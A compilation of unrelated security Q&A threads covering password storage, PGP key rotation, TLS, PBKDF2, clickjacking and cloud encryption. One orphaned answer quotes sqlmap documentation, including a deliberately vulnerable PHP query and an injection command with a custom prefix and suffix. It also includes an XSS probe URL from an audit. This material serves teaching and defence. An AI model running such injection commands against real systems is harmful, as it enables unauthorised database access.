Is it unsafe to encrypt my password with the password itself?

This post might be useful to you. I can't see a problem with encrypting the password using the same password as the encryption key, but there are other ways to verify the decryption was successful as mentioned in the post I linked, such as using a HMAC or an authenticated encryption mode such as AES with GCM.


Easy to use, simple, secure password storage method? I wish to reduce the barrier of entry to a more secure method of generating/storing passwords. The main stumbling block for anyone I have spoken to, or tried to convince to switch to a password database is not necessarily complexity, but perceived complexity.

I have so far convinced some people to avoid re-using passwords, and pointed out resources on creating stronger passwords, or providing instruction myself on how to do so. This now leaves the problem of storing these passwords securely.

Taking into account:

Memorising all passwords is not possible.
Storing all passwords written down, and secured is not possible either.

Are there any common methods, or best practices, for enabling users who lack technical expertise to safely store passwords?

Edit:
My previous version of this question was put on hold as being a product request, this would be correct as I was looking for an encrypted text file "database". I'm repeating the requirements laid out there as it keeps the basis for @Craig's answer, and an outline of how simple my requirements were.

My ideal would have extremely limited functionality:

Requires a pass-phrase to open/decrypt the 'database' file.
Upon the database opening, the user is simply presented with a plain text editor.
Minimal settings immediately apparent in the user interface.
A one-click password generator, with 'sensible' defaults.
Windows support is a must, cross platform beneficial, but not a requirement.

There have been a few "encrypting text editors" around for a long time. I don't know what kind of longevity most of them have, really. UltraEdit will encrypt text files and it's been around forever. A short search sort of turned up these alternatives:

http://www.ultraedit.com/support/tutorials_power_tips/ultraedit/encrypt_decrypt_text_files.html

http://www.andromeda.com/people/ddyer/notepad/NotepadCrypt-technotes.html

http://sourceforge.net/projects/enotes/

http://safepad.codeplex.com/

http://www.cnet.com/how-to/how-to-encrypt-selected-text-and-entire-text-files-with-notepad/

Cryptography can be really tough to do right, so you want to investigate the background of whichever solution you choose. If you roll your own, you want to design it carefully, or you end up making promises that you aren't really keeping. You have to decrypt the data to view it. But when you decrypt it you have to store it and present it. Where do you do that? If you write it to disk unencrypted, even inadvertently via temp files that your app may create, then you've compromised the integrity of your solution. If you decrypt it only to memory, that's good, but you have to be able to securely overwrite it when your program exits, and it is potentially vulnerable while your program is running. If you're using a garbage-collected development tool like most modern ones (Java, .NET C#/VB, etc.), then you don't really have control over what the GC does with the memory your strings are stored in. It might be a very long time before that memory is actually cleared. In the case of .NET, strings are immutable (you can't overwrite them), but there is a secure string class that is overwritable (but harder to use). Or you can pin memory in unmanaged code sections and have your way with it. Which is also harder. But then you still have to consider the possibility of cleartext copies of your data ending up in the Windows paging file (or Linux/UNIX swap file), and so on.

Cryptography is just hard to get "right."  :-)


Android built-in security for apps? Whenever you go to Google's Play Store and install an app, a list of all the necessary access is shown and a confirmation to proceed with the installation is required.

Let's imagine I would like to install Angry Birds:

  In-app purchases
  Identity
  Photos/Media/Files
  Wifi connection information
  Device ID & call information

How exactly does Play Store come with this list?

Does their algorithm actually analyze the code to come up with that list?
Is the vendor responsible to list those needed access?
A different way?

Every permission needs to be declared in the AndriodManifest.xml before an app can use them. For example:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.app.myapp" >
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    ...
</manifest>

to be able to receive SMS.

This manifest will also be used to list the permissions shown when you download the app in the store.


How to protect against a determined harasser My girlfriend is an admin on a German speaking site that for some time has been harassed by what we presume is a disgruntled user. At first it was merely an annoyance but a couple of days ago the person started sending child pornography in PMs and in eMails to the board.

The police have been alerted but yesterday they received messages stating that because of this person's skill they will be difficult to find and has promised to find ways to register (they have already begun blocking IPs & hosts, and require a minimum number of posts before you can send PMs) and will start sending the material to every user. There was also death threats against the owner of the forum, the harasser has already posted the owners name and address within the forum so he definitely knows who & where he lives.

I know it is a long back story but my question is is it possible to protect against this or even find him. He is most likely German as that is where the site is based but he is continually using IPs from around the world. They have already had to block lists of tor exit points but it seems futile.

Increasing the time it takes to begin any sort of harrassment, and decreasing the time it takes to take any action of illicit content is going to be the best wat to mitigate the problem.

In this case, contacting the police is your best option as far as taking any direct action against the attacker. In the meantime your primary focus and concern is to mitigate the issue as much as problem. Remember that this is one person who has dedicated his time, he will eventually get bored and move on to something else.

Your primary goal here is to make it harder for him to make any illicit content in the first place, while still allowing your regular users in. Here are some of the steps I took when I had a similar issue on my popular vBulletin website:

Blacklisting potential domains or hosts of illicit material
Requiring a unique email address, with certain temporary email providers blacklisted
Limiting new accounts:

I required moderator approval for all posts made with an accout under 15 (approved) posts for anything that embedded a link or image.
I required moderator approval for all PMs sent from any account less than 3 days old or with less than 15 (approved) posts.

Find an anti-spam plugin or addon that can match possible patterns.
Disabling email capability. In most cases, only admins really should have the power to email their users.

Another thing to try is to get a cheap SSL certificate and use HTTPS during registration, or even site-wide. Most standard proxies don't support HTTPS, and most that do are usually for a fee which he may be unwilling to pay after a while. Tor still may support HTTPS, so it's worth trying to block Tor entry points if possible (as you've indicated).

For example, gandi.net has a single-domain for $16/yr that would suffice just fine.


How to address XSS security issues in FCKeditor / CKeditor? A security report we conducted through an outside company reported XSS vulnerabilities in FCKeditor which we're using in our PHP application.

They pointed out that accessing URLs such as:

http://www.ourdomain.com/fckeditor/editor/filemanager/browser/mcpuk/connectors
    /php/connector.php?Command=837&Type=837
    &CurrentFolder=837
    &ExtraParams=837

Leads to code such as the following being generated (from browser -> view source):

Invalid command.Array

(

[Command] => 837

[Type] => 837

[CurrentFolder] => 837

[ExtraParams] => 837

)

I have no idea what this internal php script of FCKeditor does and whether it could become a source of XSS content into my system? Is this a genuine issue?

Usually there's not much you can do about vulns in 3rd party components.
Among your options:

Start by upgrading to the latest version. If that fixes it, you're done.
Contact the vendor responsibly, and get a fix from them.
If it's open source, try to patch it yourself - or find someone who did. Just make sure you do it right, and fixing XSS can be complicated and/or confusing.
If none of the above options are possible, consider removing this component from your system. It's always a risk, when taking some other component blindly, if you're not able to get it fixed...
In fact, make it a policy to do a security review on any 3rd party code before integrating it into your system.
If you absolutely MUST continue to use a vulnerable component - reconsider :). But really, if its a done deal, consider protecting it with a WAF (web application firewall). Doesn't solve the problem, but it can help prevent exploitation...


Accessing keystrokes directed at iframe? So I was making a virtual credit card from entropay.com and when I decided to Top up it up with my existing debit card. It opened up the 'Verified by Visa' page(A page in which you have to enter a password to authorize payment through your debit card. It is added as an additional security measure to check against card fraud if your card gets stolen) in an iframe. Normally when I have used the Debit Card, merchants open up the page in a new tab/window and there I enter the password and then it takes me to the payment confirmation page. Now when I enter a password in a different window/tab, other tabs can't access my keystrokes, so they can't know my password but I am not sure if this is true for an iframe. If I enter data in an iframe as the parent window is still on focus, will it be able to record my keystrokes/clipboard data?

I apologize if this wasn't the right place to ask this question. In that case, can you point me to a place where this would be more suitable.

If I enter data in an iframe as the parent window is still on focus, will it be able to record my keystrokes

Sort of. The parent window can't interfere with the key events in the iframe itself due to the Same Origin Policy, but there are various clickjacking attacks that allow it to subvert that interface. An obvious one is that it could overlay its own input box on top of the iframe interface at the same place where the real VbV password box would be.

On a more basic level, the parent window could completely spoof the contents of the frame—either coming up with its own phishing interface from scratch, or doing a man-in-the-middle with content from the Issuer's authentication server (ACS). Since there is no browser indicator to tell you what site an iframe comes from, you have no way to tell that you're really talking to your bank.

The consequence of this is that in the iframe-based 3-D Secure model, you absolutely must trust the merchant. Malicious merchants and those whose sites are compromised (eg by XSS) are not part of the threat model that 3-D Secure is attempting to protect against.

It's pretty uncommon to see 3-D Secure opened in a new page or pop-up window these days; the pop-up model was deprecated by Visa years ago and the redirect model is not favoured by merchants due to the way it takes the user out of the merchant's UI.


What are design and security considerations for a site that connects to its users' own dbs? I'm envisaging a website where a user signs up, has their own database running somewhere, then provides credentials to the website so that website can access that database. For example, if I was the user, I might be running MySQL on a shared hosting plan somewhere - I want to join this website and authorise this website to query my database.

I am looking for advice on the security issues I would need to consider (as the website developer, but also the issues the end user would need to consider).

I think securing the website with https is mandatory, but then how should the db credentials be stored? In plain text in the website's own db? How should the website make a connection to the user's db? Would ODBC suffice for most DBMSes? If the website were coded in, say, PHP, would using PHP's native database connection functions be more secure, or better for any other reason? Would the user need to authorise (within their DB) the connection as coming from the website's specific ip address? etc.

I realise this is not a simple programming question with a black and white answer but I'm hoping to be given a list of considerations I should investigate, or perhaps links to articles that discuss these issues.

Thank you in advance.

This sounds very risky.
You are requiring users to expose their databases to the web so your site can access them?

The risk here is on the database owner and not so much you. All you need to care about is securing credentials and that you support their connection requirements.

They need to

Ensure that only your IP can connect into their environment (Exposing their database to the web is awful)
Create a restricted privilege account for you to use
Create stored procedures for the account to limit what it can do
Monitoring for odd behavior connecting to the account
Ensuring that connections to the database only allow encrypted sessions
Have a plan in place for a breach of their data


How can I know that whoever called me is my cellphone service provider? I just refused to give my credentials to a phone call operator who called me. and I wonder whether I did the right thing.

Background. My cellphone operator (call them Alpha) uses a simple authentication, it's a 4-digit pin. When working in the web interface, one uses the whole pin. When calling Alpha's service centre or speaking to their clerk face-to-face, they ask for 2 digits of the pin.

Situation. I was called from a land-line number in my country.
The lady said she's an operator from Alpha with some offers to me.
She told me to authenticate myself and asked for 2 digits of my pin.
I refused because I feel this could be a scam.
She said goodbye (in a polite way) and we ended the call.

Possible exploit (I think). She has the Alpha service centre on another phone (it's possible to contact them on your account from a phone that's not yours), the system is this "speaking to computer". The system asks her for 2 digits of my pin, she asks me for them, I tell her and she gains access to my account.

Now, I don't think you can actually do much damage in my account, and especially get any profit from such damage. But you never know, maybe someone wants to revenge on me and cancel some of my products causing me trouble, or buying extra products causing me unwanted expenses.

Two questions:

Am I right that it could be a scam attempt?
Assume it was really Alpha calling me. What should I or Alpha do to remove this problem? I tried to google the number, no results from Alpha's website confirming it's them; I don't think I can do much more.

First of all, it's pretty much always the right thing to refuse to reveal private info about yourself or your account to someone who calls you when you aren't expecting the call.

It's easy to spoof an originating call number - I've got a scammer calling me every couple days with the same message, always from a different number.

Could it be a scam?  it's possible but there's not a lot of information to go on.  Unfortunately there's not a lot that either of you could do if it is indeed a scam.  The best thing from your perspective is to generally reply "I don't give out info to people that call me.  Give me your case number and I'll call you back at the number I have on file."  If it is indeed Alpha, they'll be fine with you calling back.  If it's not, they'll realize that you won't bite and may quit bothering you.  (or they may try something else.  they're scammers after all.)


Encryption before backing up to the Cloud I have collected a lot of data (approx 3TB) in photos and videos over the years, I've been upgrading to newer and bigger hard disks and luckily they've not failed on me. I've realized that my access pattern is write once and read very rarely, I think AWS Glacier is a good fit for my use-case.

At first, I thought that I'd go with their BYOK offering to encrypt my data but after doing a bit of reading it appears that BYOK has zero security benefits and is only a marketing ploy. Given that the cloud provider would have access to my key, they could theoretically (actually practically too) access my data without my consent.

Therefore I think that it would be more sensible for me to encrypt my data before I upload the data into Glacier. I've been doing some more reading and it seems that I have two choices using -

Symmetric Key with AES and the like
Asymmetric Key with RSA or GPG

I don't want to store the keys/password that I use on my machine for longer than I need to and am wondering if I could use a physical Yubikey to actually decrypt the data when needed.

I'm not quite sure how Yubikey fits in with the two choices and which one is better?

I plan on storing the private key/password on another cloud storage like Dropbox or so to keep them at an arms length, ideally I'd only need to access that if my Yubikey goes bad. I do realize that this may not be perfect but without being able to access the data in case of a catastrophic failure would defeat the purpose of the backup.
The data will contain personal photos, videos and some documents if that matters in the choosing the appropriate strategy.

The main questions that I have are -

What is the more appropriate choice for my situation?
What is the right keysize for the choice? My understanding is the
bigger the better. Since I don't need to access this data frequently
I'm happy with the encryption/decryption taking longer.
Any personal anecdotes or recommendations that you may have for me
that will help me secure the data and balance security and
usability?

it seems that I have two choices using -

  Symmetric Key with AES and the like
  Asymmetric Key with RSA or GPG

You would probably not want to use asymmetric key cryptography directly because it is very slow compared to symmetric.

Without knowing more about how your data is structured it would be hard to say exactly what the best route is.

If your data is a bunch of files then just generating a random AES key and encrypting each file using a modern AES mode (e.g., GCM not ECB, at least something that uses a random IV) seems like it could work for you.

  The main questions that I have are -

  What is the more appropriate choice for my situation?

Symmetric.

  What is the right keysize for the choice? My understanding is the
  bigger the better. Since I don't need to access this data frequently
  I'm happy with the encryption/decryption taking longer.

256-bit symmetric key is likely quite big enough. e.g., AES 256.

  Any personal anecdotes or recommendations that you may have for me
  that will help me secure the data and balance security and
  usability?

Might be good to investigate whether the costs associated with your data security measures are reasonable in relation to the value of the data.

Update to address the comments:

If the single AES key is kept safe, then there no need for more than one as long as you use a modern AES mode that includes use of a random IV (and so that IV is different for each file).

If you are worried about keeping the single AES key safe, then you could use an alternative method (which is employed by certain ransomware as well). That method consists of: (1) Generate a single public/private key pair and keep the private key private; (2) generate a random AES key for each file; (3) Encrypt each file with its own random AES key; (4) Encrypt each random AES key with your single public key; (5) store the AES encrypted file and public-key-encrypted AES key together as one new file/blob. In this case you still have to worry about keeping the private key safe, but it is a little easier than protecting a single AES key that has to move around and exist on the actual machine doing the encryption (whereas with the asymmetric scheme only the public key has to move around).


Keyboard entry obfuscation to defy keyloggers? Do you know of any existing mechanisms for keyboard-entry-obfuscation to defy keyloggers?

And if that exists does software such as (and in particular) VeraCrypt feature these?
If such mechanisms don't yet exist or if VeraCrypt doesn't feature such please also explain why that is the case. Isn't that essential to properly safeguarding the encryption-password?

(With keyboard entry obfuscation I mean random keyboard entries as noise over the actual keyboard input)

There are no such mechanisms and the reason is that they would not be cost effective.

The cost for such a technique is initially high because it is unclear how to realize it. You suggest that the receiver of a password somehow add noise to the input stream. For that you need the application that uses passwords to act a a keyboard. While this is possible it would still be a completely orthogonal extension to the application. In addition you would need to somehow emulate a keyboard in such a way that a keylogger cannot differentiate between the fake keyboards and the real ones. This might require operating system interference at a deep level depending on the system. All of this is extra implementation cost.
The benefit of this method is actually not that great. When your system is running a keylogger that means it is running malicious code which can intercept keyboard events. This usually means that your system is completely compromised and while it would probably be a nuisance to attackers it doesn't actually diminish their power because they could also retrieve the passwords from memory.

And that's why this idea does not actually make it into practice.


How to ensure file integrity cryptographically? Problem: I have a collection of files (source code for example) whose integrity has to be ensured. I don’t care if the files are corrupted (I can easily multiple backups). I just want to make sure that the files aren’t tempered.

Suppose I store the collection in a system which is now (possibly) compromised. In order to ensure that the files aren’t tempered, one thing I can do is to store the checksums (SHA256 for example) of the source code files in an external system. When the system is really compromised, I transfer the files (with a lot of care so that this may not become a security breach) into another system, and then verify the checksums. If the checksums match, the files are (most likely) safe.

However, this approach requires me to have a safe external system which stores the checksums. Worse still, the checksums may be tempered. If I can ensure that the checksums aren’t tempered, I can store all the files on that external system (assuming that space is not an issue) so that the files aren’t tempered.

Did I miss something important? Can I create a system which ensures file integrity? Alternatively, does a plain encryption of a collection of files suffice?

A simple solution would be to store the checksums in a digitally signed file at the same location.

As long as you retain control of the private key used for signing, you can easily verify the integrity of the whole set of files without having any access to that key.

Something like this is trivial to implement with PGP.


The "Custom Injection Payload" section of the SQLMap Documentation
explains how to add a bypass like this.  It seems to me you would use --suffix followed by the AND clause you pasted above.

Here is the text from the docs:

  Custom injection payload

  Options: --prefix and --suffix

  In some circumstances the vulnerable parameter is exploitable only if
  the user provides a specific suffix to be appended to the injection
  payload. Another scenario where these options come handy presents
  itself when the user already knows that query syntax and want to
  detect and exploit the SQL injection by directly providing a injection
  payload prefix and suffix.

  Example of vulnerable source code:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

  To detect and exploit this SQL injection, you can either let sqlmap
  detect the boundaries (as in combination of SQL payload prefix and
  suffix) for you during the detection phase, or provide them on your
  own.

  For example:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

  This will result in all sqlmap requests to end up in a query as
  follows:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

  Which makes the query syntactically correct.

  In this simple example, sqlmap could detect the SQL injection and
  exploit it without need to provide custom boundaries, but sometimes in
  real world application it is necessary to provide it when the
  injection point is within nested JOIN queries for instance.


Preparing to change over to new GPG-key - what to do with my old ones? I've just created a new off-line GPG-key with a sign/certify master-key and two sub-keys - one for signing and one for encrypting. 5 yr expiration for the master, 2 yr for the subs. My master-key got just my name and my dob as UID...  The sub-keys(?) got 5 UIDs, with pairs of my name and an email.

BTW, are the UIDs associated with one sub-key, with all sub-keys, with the master, or with the whole chain? Is it possible to connect one ID to one particular sub-key - eg. a sub-key used only for signing software-packages, and with an UID reflecting this. ...Or is it better to make a separate key for this purpose, and sign/cross-sign it with my normal (above) key?

I also have several old keys - some expired - uploaded to keyservers.
I would like to revoke these keys.

+++

If I understood correctly, I should sign my new (offline) key with my old keys, to certify that the new key is mine...

But should I also use my new key to sign my old keys, and upload them to a keyserver (even the already expired keys)?

Finally I would revoke all but my newest key...
Will it be enough to revoke the main-key, or will I have to revoke all sub-keys too (where applicable)?

Can I do all this locally before uploading my modified keys to the key-server - or will the fact I've already revoked them be an issue when uploading my new key with their signatures?
My suggested workflow:  Create new key, sign new key with old, sign old keys with new(?), revoke old keys, update all keys to server.

BTW, when having an offline key with sub-keys for encrypting and signing...  I get that I use the sign sub-key to sign files and messages...  And that I must use the complete key (with the usually offline parts) to self-sign changes to my key with my master-key...  But what about other peoples keys?  Can I sign their keys with my sign sub-key - or must I use the master-key (the complete key)?  Can I do both, but one is recommended?

Thanks for the comment response, that helped a little bit.

These are general recommendations, YMMV and you can always tweak them to your own needs.  This is just a good place to start and things to keep in mind, but proper security posture is an individual endeavor, not a one-for-all thing.

First off, don't sign your new key with your old one.  If you haven't used the old key before then it doesn't have an existing chain of trust, so using it to sign something isn't adding much (if any) weight to the identity assertion.  And once you revoke the old key (our next step) then it will add zero weight to any claim made.  This is only useful if your old key has been previously used as it helps assure other folks that the new key isn't a scam (they trusted the old key, which is telling them to trust [signing] the new one)

Note: whenever I say "key" I mean the same as what you seem to be calling "main key".  I will specify "sub-key" when talking about a use-specific descendant of the "key".

Secondly, revoke your old key -- make sure to put the reasons in the revocation (reason is either "no longer used" or "superseded"), and put in a description that includes your new key ID "Key has been replaced for logistic reasons, new KeyID is 12BC-A29D".  Once you have the revocation certificate created, publish it to the public key servers (really, just send it to MIT, it'll make it from there).  This takes care of turning off the old key; you've revoked it and listed it as unused in the public servers (with a hint and how to find/validate your new key).  At this point you can totally forget about your old key.

Always Remember :: When removing keys from public key servers you MUST issue a revocation certificate and submit that to the server.  Even if some servers include a "delete this key" field, they're lying at it won't fully delete it.  The only way to truly cancel a previously published key is to issue a revoke.

Now, on to your new key.

You've got a decent start here.  The normal recommendations are these:

Make your key time-limited.

Normally this results in people making 1-year (I use 13 months) expiration dates on their keys.  Then they will perform maintenance yearly, during which they'll extend the expiration and send the updated key to the public servers.  This provides protection against lost/unused keys, they'll automatically expire unless you take a regular action to refresh them.

Make a revocation certificate up front

This is in case of loss. The general recommendation is to have either a "no reason" or "key compromised" revocation certificate made just after you make the new key (before you submit it to public servers even).  Then to print this certificate (I highly recommend an OCR font) and throw it in your physical safe keeping location (a safe at home, a bank deposit box, where ever you'd keep important & hard-to replace documents like original birth certificates or original social security cards and passports).  Should something happen that causes you to lose control of the key, you will still have a way of revoking it; that makes it a really good just in case item.

Don't worry yourself about the sub-keys

I'm not saying don't use sub-keys.  I'm just saying that you are using a well made PGP implementation (I have GPG on all my machines, regardless of OS) that handles all of that for you.  You raise several points regarding Sub-Key IDs or sub-key attestation and management, and while those are things that we have to worry about on the design and implementation side they aren't things an end-user need to fret over.  The GPG software has created a Key Pair for you, and (at your instruction) created a set of managed sub-keys for specific purposes.  When you use GPG to sign something, it will automatically use the proper sub-key; same for encryption & authentication (if you create an auth key and have something that'll use it).  If you want to dive into how PGP works, that is a whole deeper pond, but for just using it all you need to worry about is "your key" (what you seem to be referring to as the master) in GPG -- the software will handle the rest from there.

Your key is you

That PGP key is now leveraged as an identity source.  People can verify something was done by you simply by checking a signature.  Don't muddy up the waters by creating entirely separate keys.  If you need, you can add more User-IDs to the existing key (useful if you get a new email address, or if you need to attest to a new persona you carry).  If you want to sign something, use the signing sub-key of your key; that's the whole reason for sub keys.  If you ever get something that was handled by a PGP key with the master ID of 6742F54F27B19AC2 then you know it was from me.  The key is you, don't fragment your identity into multiple keys, but also protect your key just as surly as you'd protect your birth certificate and passport.  Your protection can vary from adding a passcode to the PGP key (GPG should have prompted you to create one, but you could have chosen not to) up to offloading the private-key component onto a smartcard (I do this, with a YubiKey) to give you that multi-factor and physical possession safety net; this is very much one of the "what is best for you personally" items.

TLDR -- Don't sign the new key with the old one.  Issue a revocation certificate for the old key and submit it to the public servers.  Make sure your new key has an expiration date, you can make it not-to-far-out and just extend it regularly.  Don't worry about manually managing which sub-key to use.  Don't create 2nd (or 3rd) keys for different purposes.  Do protect your key as if it was enough information to steal your identity (because it is).


How to find the actual address of spoofed IPs? I am convinced that it is possible to find out the real IP address of computer which has spoofed its address. I find it rather unlikely that no techniques exist against IP spoofing.

How is it possible to find out the address of spoofed IPs? What methods are used? How do you detect spoofed IPs?

An important point must be made, which is that IP spoofing is limitative. When an attacker uses a fake IP for the packets he sends, he will usually not be able to receive the answer, unless he has some extensive power over the overall network: that's because the response will be sent to the fake IP, not the attacker's actual IP address. In particular, this makes it hard for the attacker to spoof IP addresses for TCP connections.

In fact, most successful intrusions have a non-spoofed components. Attackers use relay hosts (compromised machines around the world) to try to make them harder to track down, but that's not spoofing.

Spoofing can be detected in some cases because it "looks weird". Consider an ISP; from the ISP point of view, there are two sorts of IP addresses: its addresses (i.e. the one he grants to its customers), and the rest of the World. In the ISP routers, packets with a "external" source address should be seen as incoming packets (coming from the outside), not as outgoing packets; and vice versa for packets with an "internal" source address. If one of the ISP customer sends a packet with a spoofed external address, this will show up as an outgoing packet, coming from the inside, but with an external source address; the ISP routers will find such an occurrence anomalous and may report it. The ISP can then further track down such packets down its infrastructure and thus pinpoint the culprit.


Is Rfc2898DeriveBytes using HMAC SHA1 still considered "secure enough" for hashing passwords? I've been told by a CISSP that the .NET class Rfc2898DeriveBytes would not pass a security audit today because it still uses SHA1. It's reliance on SHA1 - even with the iterations - leaves it too vulnerable to brute-force cracking. For my own understanding and for anyone else who stumbles across this question, is Rfc2898DeriveBytes still considered a secure method for hashing passwords? Along the same lines, is HMAC SHA256 with a salt but no iterations sufficient?

For the record, since I've been mandated to use anything other than Rfc2898DeriveBytes and since I know better than to roll my own from scratch, I intend to disassemble Rfc2898DeriveBytes and duplicate the code using SHA256 instead of SHA1.

Rfc2898DeriveBytes implements the standard algorithm known as PBKDF2 and defined in RFC 2898 (hence the name). That algorithm uses a configurable underlying pseudorandom function, which is usually HMAC, and HMAC itself relies on a configurable underlying hash function, usually SHA-1. While all of this is configurable, a given implementation might not be as flexible, and, indeed, Rfc2898DeriveBytes always uses HMAC and always uses SHA-1 as underlying function for SHA-1.

Nowadays, the people collectively known as "auditors" tend to wail, whine, scream, mock and run in circles when they see anything that involves SHA-1. This is scientifically unwarranted. Right now, among all the published Science, there is not the slightest indication that SHA-1 when used in HMAC would be weak. Known weaknesses in SHA-1 are about collisions which do not impact HMAC (and these are still theoretical anyway). If some guy with a CISSP insists that SHA-1 actually makes PBKDF2 more vulnerable to brute-force, then that guy should go relearn his lessons.

Nevertheless, switching the SHA-256 is not a bad idea, so if shunning SHA-1 is what it takes to get rid of auditors, so be it.

However, the following must still be said:

Disassembling then modifying is a rather crude method and tends to lead to unmaintainable code. You could simply start from the actual source code (e.g. from here), or, even more simply (and with a cleaner legal status), reimplement it from scratch. .NET provides a HMAC/SHA-256 implementation; using it to do a PBKDF2 code is not hard.
Alternatively, you may try to reuse some other existing implementation, like this one.
You use PBKDF2 when you want to "hash a password", and not all functions are equal in that respect. A hashing function is any good only insofar as it is expensive for attackers to compute. In that respect, PBKDF2 with SHA-1 or SHA-256 is not the best choice; arguably, PBKDF2 with SHA-512 is a better deal (because existing GPU have a harder time optimizing SHA-512 than SHA-256), but other solutions may be preferable, in particular bcrypt. For more on this subject, read this, and more generally this.

This means that while SHA-1 "weaknesses" do not make PBKDF2 weaker, it still is a function that can be very well optimized on GPU, which is, in that case, a problem -- but, and that's the important point here, SHA-256 fares no better.
In any case, by using a pure C# implementation, you accept that this specifically CPU-intensive will run with the inherent slowdown of that technology, which can be estimated to a factor of 2 to 3 when compared with optimized C code (or assembly). In other words, you give an advantage of 2x or 3x to attackers. Therefore, you might want to use some native code here, not pure C#.


Does TLS protect against a man-in-the-middle masquerading as the client? A message authorization code is used in TLS to prevent man-in-the-middle-attacks that involve tampering with the contents of the packet in-flight. However, there is one specific attack which I don't see covered.

At one stage of the TLS handshake, the client sends the server a private randomly generated proposed symmetric key which has been encrypted with the server's public key. A man the middle cannot decrypt that value and learn the value of the symmetric key because it does not possess the private key. However, it can swap the contents of the message with its own private symmetric key, and send that message to the server instead.

The message authorization code (MAC) can supposedly prevent this from happening:

  If we agree on a key and hashing cipher, you can verify that my message comes from me, and I can verify that your message comes from you.

  [...]

  An attacker can modify the message but does not know the key. He cannot compute the correct MAC, and you will know the message is not authentic.

What if an attacker generates their own symmetric key, encrypting that value with the public key, setting that value as the data payload, setting the MAC to the corresponding value for the new proposed symmetric key, and sends that to the server?

If my understanding is correct, the server will decrypt the message payload using its private key, verify message integrity using the MAC, set that to be the shared secret symmetric key value, and respond to the "client" (really, the attacker) with the data payload "Finished" encrypted with that key. In essence, the server now has a shared secret with the attacker, who it thinks is the client.

Not knowing the original secret symmetric key, the man in the middle cannot actually forward the server response to the client. Nevertheless, at this point the man in the middle can make requests to the server, whilst masquerading as the client.

Does TLS actually protect against this somehow?

Does TLS actually protect against this somehow?

Why would it? All that you've done there (as the "attacker") is connect as a client yourself, with a completely incidental side of denial-of-service for another client. Unless you're using client certificates (mutual TLS), anybody can establish a connection to the server. You won't see any secrets from the client, because they aren't going to have a TLS connection to the server so they won't send any requests that might contain credentials, session tokens, or other sensitive data. You won't see any secrets from the server (aside from possibly your own) because you haven't authenticated yourself, so the server isn't going to tell you anything sensitive.

If you are using mutual TLS, well, you don't know the client's private key (for that matter, if you tamper in this way, you probably won't even learn their public key because the client won't go through with the handshake) so you cannot offer the signed token that is used to prove identity in mTLS. Without that, the server will either reject your handshake entirely, or ask you to authenticate in some other way, and again, you don't know the "legit" client's auth secrets (or any others).


Where would I go to use a reliably secure encrypted internet connection? Lately, I’ve been paying $100 a month for Fios. I’m thinking of canceling this service because I rarely use my internet at home, since I’m at school most of the time and my college offers internet (both Wi-Fi and grounded). However, I’d still like a way to do my online banking, which can take several hours, at times, for me to finish with. Apart from WiFi, where else may I go to perhaps rent out a cabin with a grounded Ethernet connection for a couple of hours throughout the week? I was considering simply going to an internet cafe, but how can I be sure these internet cafes won’t be sniffing or logging my personal data? Is my personal home internet, which is behind a wired router, really the safest route for the time being?

Unless you've installed extra root certs, your connection to the bank's site should be encrypted (though it's not a bad idea to explicitly type https://[yourbank].com to avoid the potential for an sslstrip attack).

Even if you go to the http:// page and someone does an sslstrip attack, most modern browsers will warn you when you try to type your password on an unencrypted page. It's possible sslstrip could be combined with a redirect to a homograph domain that the attacker has a certificate for, so it would be encrypted and could potentially fool you, but all of these problems are avoided if you go to the HTTPS site and carefully check the URL before logging in.

For the average person these days, the security of the device they use for online banking is much more of a concern than the connection to the banking site. If you have malware on the device you use for online banking, there's always the possibility that it can log your username and password.


Encrypted password over SSL I read a lot of article stating that basic authentication + SSL is the way to go over Digest Authentication.

I was thinking of:

client request the login form
server sends back the login form with nonce
client use the nonce to encrypt username + password and sends over SSL

With my basic reading and understanding, I see it more secure because I add a layer of security in case SSL is breached. Or is it not?

This does not protect against a breach of SSL. If an attacker can breach the SSL connection he can read both the nonce send from the server and the encrypted password and can thus decrypt the password. Even if it is not encrypted but hashed together with the nonce (as done usually in digest authentication) the attacker could simply replace the script used for encryption to leak the password because this script is sent by the server too inside the breached SSL connection.

Apart from not protecting against a breach of SSL this proposal (and also digest authentication) also needs the password to be stored in clear text (or equivalent) at the server for comparison. This actually makes the system less secure in case of a server hack than the usual systems where the password is stored as a one-way hash.


Does the CA have to be same for mutual authentication? I'm trying to establish mutual authentication between my Tomcat server and my customer's firewall.

The server certificate we have is from Digicert (Root CA) and RapidSSL (intermediate).

The certificate chain in the ServerHello block is from QuoVadis.

But before the ServerHelloDone line, the Cert Authorities are empty:

*** CertificateRequest
Cert Types: RSA, DSS, ECDSA
Supported Signature Algorithms: SHA256withRSA, SHA256withDSA, SHA256withECDSA, SHA384withRSA, Unknown (hash:0x5, signature:0x2), SHA384withECDSA, SHA512withRSA, Unknown (hash:0x6, signature:0x2), SHA512withECDSA, SHA1withRSA, SHA1withDSA, SHA1withECDSA
Cert Authorities:
<Empty>
ajp-line-1, READ: TLSv1.2 Handshake, length = 4
*** ServerHelloDone
Warning: no suitable certificate found - continuing without client authentication
*** Certificate chain
<Empty>

I'm going by the documentation here - https://docs.oracle.com/javase/7/docs/technotes/guides/security/jsse/ReadDebug.html

Should RapidSSL / Digicert be available in the Cert Authorities block for the client auth to continue?

Client and server authentication don't have to use the same CAs, but you should tell the server which CAs it should trust to authenticate clients, which seems to be the issue here.

Why? Many people make their own CA and issue certificates directly to their own clients. This saves customers the trouble of going through a sometimes-messy certification on their end. This information is also passed to clients during the TLS handshake.

Another option is to tell clients to get certificates from public CAs: it seems your company did this, and did not specifically tell clients which CA to buy from. If I interpret your description correctly, this client picked QuoVadis to get certified on their end. If you trust QuoVadis to authenticate servers "well enough" for your purposes, then configure the server to trust QuoVadis for client authentication. For Apache:

SSLCACertificateFile /etc/ssl/certs/name-of-quovadis-certificate.crt

Possibly, concatenate all CAs you know and trust (RapidSSL and Digicert, I gather).
You can also take a shortcut, and just trust all known CAs. In Debian/Ubuntu:

SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

